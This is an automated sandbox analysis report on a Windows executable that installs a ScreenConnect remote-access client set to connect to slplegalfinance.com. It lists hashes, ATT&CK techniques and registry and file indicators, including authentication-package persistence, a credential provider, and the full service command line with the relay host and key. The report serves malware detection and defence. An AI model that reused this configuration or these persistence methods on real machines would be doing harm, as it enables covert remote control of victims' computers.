b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b

Analysis

max time kernel
119s
max time network
135s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07/01/2025, 02:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe
Size

5.4MB
MD5

70d47fa2e078f04400d3d1b236245678
SHA1

987aa3368265fc300b10b4128d8367c3d7a29c6c
SHA256

b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b
SHA512

a078ec2aa08f1928b7cef2b3b17e02e5a52860dd684ad798ab8aca0a55d1069f45e27497fabf15c4e932299fe206ed4e49085848a1bc3ae087b13ece36f768e2
SSDEEP

49152:AEEL5cx5xTkYJkGYYpT0+TFiH7efP8Q1yJJ4ZD1F5z97oL1YbGQ+okRPGHpRPqM8:pEs6efPNwJ4t1h0cG5FGJRPxow8O

Score

8^/10

discovery persistence privilege_escalation

Malware Config

Signatures

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\ScreenConnect Client (484f9eed1d8e13b9)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (484f9eed1d8e13b9)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=slplegalfinance.com&p=443&s=ce4bcaa9-c7ba-43ad-a2b4-72acbfac81b9&k=BgIAAACkAABSU0ExAAgAAAEAAQDVyeZoBLn8WdM6xWDr4b0uAsUBfhP2EJOSdZugmbrUWVWehsUh2LvfCfwDYGcJBhcBEWS%2fDmahaCPw1tkv%2f%2bw18TIjThn%2bQ%2feZavwugcHDfdkaqKi0LnYdddcCsozuL7%2bVQevv9snFAHOiSjLD7xdNlPMSw%2bw682fIJIkr8XbdhPPukmg4Ksp6Kf1Xba7KkmNnwSS1MRXckDb%2f1hQrUI%2fSZZdGbJvZ3tc%2f3CR0LXLnGeCLG7Dt5iRIHwzJf5XuTInHiPesoO6bSk%2bUfoeCYO3BjvU6pRL6UKY08mjZ7e%2b6FOQb4acTm6QTR9K%2fsvFdvWQ%2br7EyKwXpSy6iTh4x7%2f%2bv&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAABFizxbPLmUuGnQq%2fx%2f6G6AAAAAACAAAAAAAQZgAAAAEAACAAAACkex1Iv4qwPqve%2fxR6fJc68EtUymyxLai91Pwf8l%2bwzQAAAAAOgAAAAAIAACAAAABmfftvzrLpuFHpnrYKIk%2fXlhIfipY%2fk0qABDt6b02ayaAEAADOpLy3qzp8%2bMXeP4dlFvjLEzalRMz%2fXsBgKWlOyh9ofz%2fi2TGBHJoIlzvmYVeIYR6R2kD%2ffSra1qznW5DRPJJ2fjy1J8bga97s5DOgd3a0HkmwEZ82i%2b4vVZsKEfyAgfYNvTtvAecxFQLEc129yjm06epRzkxwMrjdW3JFtJ4%2bfgX3dLzDnDS7ercnpLQgSdGFl6fGTgwKL2CZM3DepT5RKctXpz12Wq6XDfEC6z%2bB55Wc5%2bimJnuMqHoRaiWzvl4sVdIKFwxAy%2fFyHmb7A0xqAtK95Cd2qlng1dEBXVfBxaa8hQ0XDoMzGjUoRKQ7PN%2baiG6cNTUBjwTw9iuxUEyUnEVVxqR0CzgV3sAxPseKMaQdKofi3hnX%2fuHW7BBg1gO3IX2%2fCQ60020RUePeitCg1RErfBBfE7mWNPh1AB8AyMZyXHDBUdwd%2fitPLBL0t6AYwiWUrXT0q6txVMkFuWqyuVF2ZDd7sZnS0o%2ffFkCX0g8fPMRytj0jxshgfXUmD7u9gVNypXUExdc9Y6MBn6Nu98PLDpMGJ9nEwSwtrWIsPgneX8IOedKCCw4BkmGVUEUyST4r11W%2fNhesjSh7wIMlxyybfCtBQdAQCkKp8K5Q3NvVPKHcpDpf9NMtIbV%2fy%2fiwqprp510Rj%2ffp5V%2bS4p3sJuRFzpdjWng5%2brLIxRIzJzGde1YU67TqqaLdd1BT8IZKhJj%2fCQ4chUZqyWhHPLTILnbO%2byfBm03%2bFMsNxdrSNKV5rWpKJBs0srWIFKd73ual04ajF5sATaen6b0r%2b7wYgPXcoei%2bcepKA3XSQdFOwdq%2f2a93wvycCrGHk1PnAZ98XQ%2bEmn1cNExLQzphhyhWVhC%2fRGq9yWUUAM%2fvNO12QqH2AuIDMJFwQ6b5HGf5Q4c0qUfNwTAjWN6BXEHGGvWbq7iG9DtKkSq4dUw4DQwFiFvUsbMS6UP7n0UhZSGeXhw%2fRCz7m4RpSfSIAZ5SbbOU%2bDQQvyJ2aaLnggoymBp4Jmgt%2bJXDW%2fARTui10ryTHDk7uR6FwesJliWRKbHGRCWzWzzHhphGRe9enAiDYaidf%2fDA6s9cLd78PDizEE8EkEPCOhb6%2b%2fKkkxzeXH%2buhz4sIYFkIb7bVU3qVTT4CGpU%2b5vAz9ei5oLnSXpqYimwaNvnlzZwiLblPnhC6pdAKAjQAqA83eL6dSSAMLRxh4D64tKQ4zy1Qh6BAooBU%2f%2b%2b%2boUZq%2biQN%2btZuPnTnm6KvFqHazHc3K9n3UPnt3xvP7FOqKByKjEFw%2fJ9GPSbxPSorcPMJ0Nrqlj%2fHQTlGY4P2VoDryVkZbx2aHPuC1S%2fg9DHvs9v9IEUifkVPr3VRKNJEU8Q%2ffXHNJMZ6AFaNP4R8MkkVSl6pu7UOF%2bt5aQm8T7jOBjZsnSJw%2bUD1fVuUiTt%2fprfNd3nMSuZR6wnMBchvvUq3yjaoWu1nfilPoLPhp%2f7vLZlU6Y2M%2bHMLxwA1BDNy73ygJoQrDCfbtWDrtssOhGDibT4FE7hE5aKYrNcj1CqNKPVwn8XUL1XVDlJWm%2blnd7vFMShcuCfHHvhrfrcKGBk%2fuLhNjB6opy5jYIgNxv92UAAAABce1W7ma2jkA1iDb0KpVsNQb95nEmgE8Ywkq%2bIfePbQPduhuui0Wvgefezu8UEOCWXn9yjYq%2fmHUrGTGzlHaK7\""	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340038003400660039006500650064003100640038006500310033006200390029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\orvcwjks.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\orvcwjks.newcfg	ScreenConnect.ClientService.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe

Drops file in Windows directory 15 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIF4AB.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File opened for modification	C:\Windows\Installer\{B8D1B927-3B49-E2F3-F63F-B1B560CECE3D}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File created	C:\Windows\Installer\f76f3d1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\f76f3d1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF4CB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF673.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{B8D1B927-3B49-E2F3-F63F-B1B560CECE3D}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File created	C:\Windows\Installer\f76f3d4.msi	msiexec.exe
File created	C:\Windows\Installer\{B8D1B927-3B49-E2F3-F63F-B1B560CECE3D}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\f76f3d2.ipi	msiexec.exe
File created	C:\Windows\Installer\f76f3d2.ipi	msiexec.exe

Executes dropped EXE 3 IoCs

pid	Process
1140	ScreenConnect.ClientService.exe
1844	ScreenConnect.WindowsClient.exe
2184	ScreenConnect.WindowsClient.exe

Loads dropped DLL 25 IoCs

pid	Process
2132	MsiExec.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
1628	MsiExec.exe
3048	MsiExec.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe
1140	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe

Modifies registry class 37 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\shell\open	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\DeploymentFlags = "3"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\484f9eed1d8e13b9\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (484f9eed1d8e13b9)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6FABB7C21E8BF1EE84F4E9DED1E8319B	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-484f9eed1d8e13b9	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\729B1D8B94B33F2E6FF31B5B06ECECD3	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\ProductName = "ScreenConnect Client (484f9eed1d8e13b9)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-484f9eed1d8e13b9\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (484f9eed1d8e13b9)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}\ = "ScreenConnect Client (484f9eed1d8e13b9) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\729B1D8B94B33F2E6FF31B5B06ECECD3\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\PackageCode = "729B1D8B94B33F2E6FF31B5B06ECECD3"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\Version = "402849799"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\ProductIcon = "C:\\Windows\\Installer\\{B8D1B927-3B49-E2F3-F63F-B1B560CECE3D}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6FABB7C21E8BF1EE84F4E9DED1E8319B\729B1D8B94B33F2E6FF31B5B06ECECD3	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\484f9eed1d8e13b9\\"	msiexec.exe

